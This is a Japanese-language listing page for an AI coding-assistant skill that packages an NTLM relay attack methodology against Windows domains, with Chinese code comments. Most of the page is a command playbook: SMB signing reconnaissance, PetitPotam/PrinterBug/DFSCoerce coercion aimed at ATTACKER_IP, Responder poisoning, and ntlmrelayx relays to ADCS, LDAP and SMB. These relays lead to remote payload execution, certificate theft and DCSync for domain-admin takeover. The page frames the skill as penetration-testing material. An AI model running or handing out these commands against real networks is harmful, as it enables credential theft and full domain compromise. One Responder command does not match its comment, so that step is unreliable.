mcpField
N
ntlm-relay-attack

ntlm-relay-attack

github.com/wgpsecセキュリティ1.8k47 回インストール4 日前に更新
リポジトリ

ntlm-relay-attack について

ドメインのセキュリティテスト向けNTLMリレー手法をまとめたスキルです。環境調査、認証の強制、リレー先の選定を扱い、関連手法とツールも示します。

主な機能

  1. 01SMB署名とADCS条件の確認
  2. 02トリガー、リレー、ターゲットの整理
  3. 03Responderによるポイズニングと認証強制
  4. 04ADCS、LDAP、SMBへのリレー
  5. 05リレーとハッシュ解析のツール一覧

活用シーン

  1. 01ネットワーク内のNTLMリレー条件の評価
  2. 02許可されたドメインテストのリレー経路計画
  3. 03ターゲットサービスに応じたリレー方式の選択

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill ntlm-relay-attack

インストール後、Claude Code で/ntlm-relay-attackを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

evals/
evals.json
references/
coercion-methods.md
relay-techniques.md
responder-config.md
socks-pivoting.md

詳細

NTLM リレー攻撃の方法論

NTLM リレーは、ドメイン侵入における最も強力な横展開技術の一つです。パスワードを解読する必要はなく、認証リクエストを別のサーバーに直接転送してアクセス権を取得します。

⛔ 詳細な参考資料(必読)


基本概念

NTLM リレーの3要素:

  1. トリガー(Trigger):ターゲットのマシン/ユーザーから攻撃者に NTLM 認証を開始させます
  2. リレー(Relay):受信した認証リクエストをターゲットサービスに転送します
  3. ターゲット(Target):リレーされた認証を受け入れるサーバーです

前提条件:ターゲットサービスで SMB 署名(SMB Signing)または EPA(Extended Protection for Authentication)が有効になっていないこと。

Phase 1: 環境の偵察

1.1 SMB 署名の確認
# SMB 签名未强制 = 可中继
netexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
# 输出没有 signing:True 的主机

# 或用 nmap
nmap -p 445 --script smb2-security-mode 10.0.0.0/24
# "Message signing enabled but not required" = 可中继
1.2 ADCS Web Enrollment の確認
# ADCS HTTP 端点通常无 EPA → 可中继
netexec ldap DC_IP -u USER -p PASS -M adcs
# 列出 CA 服务器和模板

# 或直接访问
curl -sk https://CA_SERVER/certsrv/

Phase 2: 攻撃の判断フロー

有什么条件?
├─ 在内网且有网络接口 → Responder 毒化(被动收集 Hash / 主动中继)
├─ 有域凭据 → 强制认证(PetitPotam/PrinterBug)→ 中继
├─ 目标有 ADCS Web Enrollment → 中继到 ADCS 获取证书 → 域控
├─ 目标关闭 SMB 签名 → 中继到 SMB/LDAP
│   ├─ 中继到 LDAP → RBCD / Shadow Credentials
│   └─ 中继到 SMB → 命令执行
└─ 拿到 NetNTLM Hash 但无法中继 → hashcat 离线破解
详细命令 → [references/relay-techniques.md](references/relay-techniques.md)

Phase 3: Responder によるポイズニング

# 启动 Responder(关闭 SMB/HTTP 以便 ntlmrelayx 接管)
responder -I eth0 -dwPv

# 或只抓 Hash 不中继
responder -I eth0 -dwPv
# 抓到的 NetNTLMv2 Hash → hashcat -m 5600 破解

Phase 4: 認証強制(Coercion)

# PetitPotam(最常用,利用 EfsRpcOpenFileRaw)
python3 PetitPotam.py ATTACKER_IP DC_IP
python3 PetitPotam.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP

# PrinterBug(MS-RPRN)
python3 dementor.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP
# 或
python3 printerbug.py DOMAIN/USER:PASS@DC_IP ATTACKER_IP

# DFSCoerce
python3 dfscoerce.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP

Phase 5: 各種ターゲットへのリレー

ADCS へのリレー(ドメインコントローラーの証明書を取得 → ドメイン管理者)
# 最强路径:PetitPotam + ADCS = 域控
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# 触发认证
python3 PetitPotam.py ATTACKER_IP DC_IP

# 获得证书后 → 申请 TGT
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 得到域控 NTLM Hash → DCSync
LDAP へのリレー(RBCD / Shadow Credentials)
# Shadow Credentials(推荐,不需要创建计算机账户)
ntlmrelayx.py -t ldaps://DC_IP --shadow-credentials --shadow-target DC_HOSTNAME$

# RBCD
ntlmrelayx.py -t ldaps://DC_IP --delegate-access --escalate-user MACHINE$
SMB へのリレー
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami"
ntlmrelayx.py -tf relay_targets.txt -smb2support -e payload.exe

→ リレー技術の詳細 → references/relay-techniques.md

ツール早見表

ツール用途
ResponderLLMNR/NBT-NS/mDNS のポイズニング
ntlmrelayx.pyNTLM リレーの中核
PetitPotamEFS による認証強制
printerbug.pyプリンターによる認証強制
certipyADCS 証明書攻撃
hashcat -m 5600NetNTLMv2 の解読

コメント